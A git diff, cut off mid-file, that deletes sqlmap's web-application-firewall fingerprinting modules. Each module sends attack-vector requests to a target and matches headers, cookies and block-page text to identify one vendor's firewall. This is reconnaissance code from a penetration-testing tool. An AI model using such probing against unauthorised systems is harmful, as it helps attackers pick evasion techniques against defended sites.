a/waf/edgecast.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "EdgeCast Web Application Firewall (Verizon)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - _, headers, code = get_page(get=vector) - retval = code == 400 and re.search(r"\AECDF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/expressionengine.py b/waf/expressionengine.py deleted file mode 100644 index d2cbf57d1a7..00000000000 --- a/waf/expressionengine.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "ExpressionEngine (EllisLab)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval = any((page or "").strip() == _ for _ in ("Invalid GET Data", "Invalid URI")) and re.search(r"\bexp_last_", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/fortiweb.py b/waf/fortiweb.py deleted file mode 100644 index 68619bcae07..00000000000 --- a/waf/fortiweb.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "FortiWeb Web Application Firewall (Fortinet)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval = re.search(r"\AFORTIWAFSID=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= all(_ in (page or "") for _ in (".fgd_icon", ".blocked", ".authenticate")) - if retval: - break - - return retval diff --git a/waf/generic.py b/waf/generic.py deleted file mode 100644 index 4f4fabb5fe0..00000000000 --- a/waf/generic.py +++ /dev/null @@ -1,34 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.data import kb -from lib.core.settings import GENERIC_PROTECTION_REGEX -from lib.core.settings import IPS_WAF_CHECK_PAYLOAD -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Generic (Unknown)" - -def detect(get_page): - retval = False - - original, _, code = get_page() - if original is None or code >= 400: - return False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - - if code >= 400 or (IPS_WAF_CHECK_PAYLOAD in vector and (code is None or re.search(GENERIC_PROTECTION_REGEX, page or "") and not re.search(GENERIC_PROTECTION_REGEX, original or ""))): - if code is not None: - kb.wafSpecificResponse = "HTTP/1.1 %s\n%s\n%s" % (code, "".join(_ for _ in (headers.headers if headers else {}) or [] if not _.startswith("URI")), page) - - retval = True - break - - return retval diff --git a/waf/godaddy.py b/waf/godaddy.py deleted file mode 100644 index fdbdba1d024..00000000000 --- a/waf/godaddy.py +++ /dev/null @@ -1,19 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "GoDaddy Website Firewall (GoDaddy Inc.)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval = any(_ in (page or "") for _ in ("Access Denied - GoDaddy Website Firewall", "<title>GoDaddy Security - Access Denied")) - - return retval diff --git a/waf/greywizard.py b/waf/greywizard.py deleted file mode 100644 index b26f4415063..00000000000 --- a/waf/greywizard.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Greywizard (Grey Wizard)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval = re.search(r"\Agreywizard", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= any(_ in (page or "") for _ in ("We've detected attempted attack or non standard traffic from your IP address", "Grey Wizard")) - if retval: - break - - return retval diff --git a/waf/imunify360.py b/waf/imunify360.py deleted file mode 100644 index 6383f7a377e..00000000000 --- a/waf/imunify360.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Imunify360 (CloudLinux Inc.)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval = re.search(r"\Aimunify360", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval = any(_ in (page or "") for _ in ("protected by Imunify360", "Powered by Imunify360", "imunify360 preloader")) - if retval: - break - - return retval diff --git a/waf/incapsula.py b/waf/incapsula.py deleted file mode 100644 index fb8b8655a97..00000000000 --- a/waf/incapsula.py +++ /dev/null @@ -1,29 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Incapsula Web Application Firewall (Incapsula/Imperva)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval = re.search(r"incap_ses|visid_incap", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= re.search(r"Incapsula", headers.get("X-CDN", ""), re.I) is not None - retval |= "Incapsula incident ID" in (page or "") - retval |= all(_ in (page or "") for _ in ("Error code 15", "This request was blocked by the security rules")) - retval |= re.search(r"(?i)incident.{1,100}?\b\d{19}\-\d{17}\b", page or "") is not None - retval |= headers.get("X-Iinfo") is not None - if retval: - break - - return retval diff --git a/waf/isaserver.py b/waf/isaserver.py deleted file mode 100644 index 2f4f11137f5..00000000000 --- a/waf/isaserver.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.common import randomInt - -__product__ = "ISA Server (Microsoft)" - -def detect(get_page): - page, _, _ = get_page(host=randomInt(6)) - retval = "The server denied the specified Uniform Resource Locator (URL). Contact the server administrator." in (page or "") - retval |= "The ISA Server denied the specified Uniform Resource Locator (URL)" in (page or "") - return retval diff --git a/waf/janusec.py b/waf/janusec.py deleted file mode 100644 index 442236e7cdf..00000000000 --- a/waf/janusec.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Janusec Application Gateway (Janusec)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval = all(_ in (page or "") for _ in ("Reason:", "by Janusec Application Gateway")) - if retval: - break - - return retval diff --git a/waf/jiasule.py b/waf/jiasule.py deleted file mode 100644 index 465cdcf75f2..00000000000 --- a/waf/jiasule.py +++ /dev/null @@ -1,28 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Jiasule Web Application Firewall (Jiasule)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"jiasule-WAF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= re.search(r"__jsluid=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= re.search(r"jsl_tracking", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= re.search(r"static\.jiasule\.com/static/js/http_error\.js", page or "", re.I) is not None - retval |= code == 403 and "notice-jiasule" in (page or "") - if retval: - break - - return retval diff --git a/waf/knownsec.py b/waf/knownsec.py deleted file mode 100644 index fc6f629b864..00000000000 --- a/waf/knownsec.py +++ /dev/null @@ -1,23 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "KS-WAF (Knownsec)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval = re.search(r"url\('/ks-waf-error\.png'\)", page or "", re.I) is not None - if retval: - break - - return retval diff --git a/waf/kona.py b/waf/kona.py deleted file mode 100644 index c6c8bfaf879..00000000000 --- a/waf/kona.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "KONA Security Solutions (Akamai Technologies)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = code >= 400 and re.search(r"AkamaiGHost", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/malcare.py b/waf/malcare.py deleted file mode 100644 index 6180962a79d..00000000000 --- a/waf/malcare.py +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "MalCare (Inactiv.com Media Solutions Pvt Ltd.)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval = "Blocked because of Malicious Activities" in (page or "") - retval |= re.search(r"Firewall(<[^>]+>)*powered by(<[^>]+>)*MalCare", page or "") is not None - - return retval diff --git a/waf/modsecurity.py b/waf/modsecurity.py deleted file mode 100644 index 0d5400b2764..00000000000 --- a/waf/modsecurity.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "ModSecurity: Open Source Web Application Firewall (Trustwave)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"Mod_Security|NOYB", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= any(_ in (page or "") for _ in ("This error was generated by Mod_Security", "One or more things in your request were suspicious", "rules of the mod_security module", "Protected by Mod Security")) - if retval: - break - - return retval diff --git a/waf/naxsi.py b/waf/naxsi.py deleted file mode 100644 index 494d91db72c..00000000000 --- a/waf/naxsi.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "NAXSI (NBS System)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) - retval = re.search(r"naxsi/waf", headers.get(HTTP_HEADER.X_DATA_ORIGIN, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/netscaler.py b/waf/netscaler.py deleted file mode 100644 index c3a5472fd34..00000000000 --- a/waf/netscaler.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "NetScaler AppFirewall (Citrix)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval |= any(_ in (page or "") for _ in ("Application Firewall Block Page", "Violation Category: APPFW_", "AppFW Session ID", "Access has been blocked - if you feel this is in error, please contact the site administrators quoting the following")) - if retval: - break - - return retval diff --git a/waf/newdefend.py b/waf/newdefend.py deleted file mode 100644 index 720d5544490..00000000000 --- a/waf/newdefend.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Newdefend Web Application Firewall (Newdefend)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval = re.search(r"NewDefend", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= any(_ in (page or "") for _ in ("/nd_block/", "http://www.newdefend.com/feedback/misinformation/")) - if retval: - break - - return retval diff --git a/waf/ninjafirewall.py b/waf/ninjafirewall.py deleted file mode 100644 index 5e7ef1377a3..00000000000 --- a/waf/ninjafirewall.py +++ /dev/null @@ -1,20 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "NinjaFirewall (NinTechNet)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval = "NinjaFirewall: 403 Forbidden" in (page or "") - retval |= all(_ in (page or "") for _ in ("For security reasons, it was blocked and logged", "NinjaFirewall")) - - return retval diff --git a/waf/onmessageshield.py b/waf/onmessageshield.py deleted file mode 100644 index b5c613702f3..00000000000 --- a/waf/onmessageshield.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "onMessage Shield (Blackbaud)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval = re.search(r"onMessage Shield", headers.get("X-Engine", ""), re.I) is not None - retval |= "This site is protected by an enhanced security system to ensure a safe browsing experience" in (page or "") - retval |= "onMessage SHIELD" in (page or "") - if retval: - break - - return retval diff --git a/waf/paloalto.py b/waf/paloalto.py deleted file mode 100644 index ef059653107..00000000000 --- a/waf/paloalto.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Palo Alto Firewall (Palo Alto Networks)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval = re.search(r"has been blocked in accordance with company policy", page or "", re.I) is not None - retval |= all(_ in (page or "") for _ in ("Palo Alto Next Generation Security Platform", "Download Blocked")) - if retval: - break - - return retval diff --git a/waf/perimeterx.py b/waf/perimeterx.py deleted file mode 100644 index f034dd5306c..00000000000 --- a/waf/perimeterx.py +++ /dev/null @@ -1,19 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "PerimeterX (PerimeterX, Inc.)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval = "https://www.perimeterx.com/whywasiblocked" in (page or "") - - return retval diff --git a/waf/profense.py b/waf/profense.py deleted file mode 100644 index 85ad6d22e14..00000000000 --- a/waf/profense.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Profense Web Application Firewall (Armorlogic)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) - retval = re.search(r"\APLBSID=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= re.search(r"Profense", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/proventia.py b/waf/proventia.py deleted file mode 100644 index 3aca6a3d66c..00000000000 --- a/waf/proventia.py +++ /dev/null @@ -1,15 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -__product__ = "Proventia Web Application Security (IBM)" - -def detect(get_page): - page, _, _ = get_page() - if page is None: - return False - page, _, _ = get_page(url="/Admin_Files/") - return page is None diff --git a/waf/radware.py b/waf/radware.py deleted file mode 100644 index 560a50fe1b7..00000000000 --- a/waf/radware.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "AppWall (Radware)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval = re.search(r"Unauthorized Activity Has Been Detected.+Case Number:", page or "", re.I | re.S) is not None - retval |= headers.get("X-SL-CompState") is not None - if retval: - break - - return retval diff --git a/waf/reblaze.py b/waf/reblaze.py deleted file mode 100644 index 0dd5c6546b7..00000000000 --- a/waf/reblaze.py +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Reblaze Web Application Firewall (Reblaze)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval = re.search(r"\Arbzid=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= re.search(r"Reblaze Secure Web Gateway", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= all(_ in (page or "") for _ in ("Current session has been terminated", "For further information, do not hesitate to contact us", "Access denied (403)")) - if retval: - break - - return retval diff --git a/waf/requestvalidationmode.py b/waf/requestvalidationmode.py deleted file mode 100644 index ec651de899a..00000000000 --- a/waf/requestvalidationmode.py +++ /dev/null @@ -1,23 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "ASP.NET RequestValidationMode (Microsoft)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, code = get_page(get=vector) - retval = "ASP.NET has detected data in the request that is potentially dangerous" in (page or "") - retval |= "Request Validation has detected a potentially dangerous client input value" in (page or "") - retval |= code == 500 and "HttpRequestValidationException" in page - if retval: - break - - return retval diff --git a/waf/rsfirewall.py b/waf/rsfirewall.py deleted file mode 100644 index 1ead81293ef..00000000000 --- a/waf/rsfirewall.py +++ /dev/null @@ -1,19 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "RSFirewall (RSJoomla!)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval = any(_ in (page or "") for _ in ("COM_RSFIREWALL_403_FORBIDDEN", "COM_RSFIREWALL_EVENT")) - - return retval diff --git a/waf/safe3.py b/waf/safe3.py deleted file mode 100644 index 81d6cbe5950..00000000000 --- a/waf/safe3.py +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Safe3 Web Application Firewall" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval = re.search(r"Safe3WAF", headers.get(HTTP_HEADER.X_POWERED_BY, ""), re.I) is not None - retval |= re.search(r"Safe3 Web Firewall", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= all(_ in (page or "") for _ in ("403 Forbidden", "Safe3waf/")) - if retval: - break - - return retval diff --git a/waf/safedog.py b/waf/safedog.py deleted file mode 100644 index 91f2726c32f..00000000000 --- a/waf/safedog.py +++ /dev/null @@ -1,27 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Safedog Web Application Firewall (Safedog)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval = re.search(r"WAF/2\.0", headers.get(HTTP_HEADER.X_POWERED_BY, ""), re.I) is not None - retval |= re.search(r"Safedog", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= re.search(r"safedog", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= any(_ in (page or "") for _ in ("safedogsite/broswer_logo.jpg", "404.safedog.cn/sitedog_stat.html")) - if retval: - break - - return retval diff --git a/waf/secureentry.py b/waf/secureentry.py deleted file mode 100644 index 601f13b2264..00000000000 --- a/waf/secureentry.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Secure Entry Server (United Security Providers)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = code >= 400 and re.search(r"Secure Entry Server", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/secureiis.py b/waf/secureiis.py deleted file mode 100644 index b9b3f48397f..00000000000 --- a/waf/secureiis.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "SecureIIS Web Server Security (BeyondTrust)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval = re.search(r"SecureIIS[^<]+Web Server Protection", page or "") is not None - retval |= "http://www.eeye.com/SecureIIS/" in (page or "") - retval |= re.search(r"\?subject=[^>]*SecureIIS Error", page or "") is not None - if retval: - break - - return retval diff --git a/waf/securesphere.py b/waf/securesphere.py deleted file mode 100644 index 48f2a7a3dcc..00000000000 --- a/waf/securesphere.py +++ /dev/null @@ -1,23 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "SecureSphere Web Application Firewall (Imperva)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval = re.search(r"<H2>Error</H2>.+?#FEEE7A.+?<STRONG>Error</STRONG>|Contact support for additional information.<br/>The incident ID is: (\\d{19}|N/A)", page or "", re.I) is not None - if retval: - break - - return retval diff --git a/waf/senginx.py b/waf/senginx.py deleted file mode 100644 index 33c3c6d8f3e..00000000000 --- a/waf/senginx.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "SEnginx (Neusoft Corporation)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval = "SENGINX-ROBOT-MITIGATION" in (page or "") - if retval: - break - - return retval diff --git a/waf/shieldsecurity.py b/waf/shieldsecurity.py deleted file mode 100644 index 9c9c84b5e31..00000000000 --- a/waf/shieldsecurity.py +++ /dev/null @@ -1,19 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Shield Security (One Dollar Plugin)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval = "Something in the URL, Form or Cookie data wasn't appropriate" in (page or "") - - return retval diff --git a/waf/siteground.py b/waf/siteground.py deleted file mode 100644 index ff6d2071328..00000000000 --- a/waf/siteground.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "SiteGround Web Application Firewall (SiteGround)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval = "The page you are trying to access is restricted due to a security rule" in (page or "") - if retval: - break - - return retval diff --git a/waf/siteguard.py b/waf/siteguard.py deleted file mode 100644 index 9a0498fa56e..00000000000 --- a/waf/siteguard.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "SiteGuard (JP-Secure)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval = any(_ in (page or "") for _ in ("Powered by SiteGuard", "The server refuse to browse the page")) - if retval: - break - - return retval diff --git a/waf/sitelock.py b/waf/sitelock.py deleted file mode 100644 index 09d611f152c..00000000000 --- a/waf/sitelock.py +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "TrueShield Web Application Firewall (SiteLock)" - -# Note: https://www.whitefirdesign.com/blog/2016/11/08/more-evidence-that-sitelocks-trueshield-web-application-firewall-is-really-incapsulas-waf/ -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval = any(_ in (page or "") for _ in ("SiteLock Incident ID", '<span class="value INCIDENT_ID">')) - if retval: - break - - return retval diff --git a/waf/sonicwall.py b/waf/sonicwall.py deleted file mode 100644 index 49a54503183..00000000000 --- a/waf/sonicwall.py +++ /dev/null @@ -1,27 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "SonicWALL (Dell)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, _ = get_page(get=vector) - retval = "This request is blocked by the SonicWALL" in (page or "") - retval |= all(_ in (page or "") for _ in ("#shd", "#nsa_banner")) - retval |= re.search(r"Web Site Blocked.+\bnsa_banner", page or "", re.I) is not None - retval |= re.search(r"SonicWALL", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/sophos.py b/waf/sophos.py deleted file mode 100644 index 5ff97abf1d0..00000000000 --- a/waf/sophos.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "UTM Web Protection (Sophos)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval = 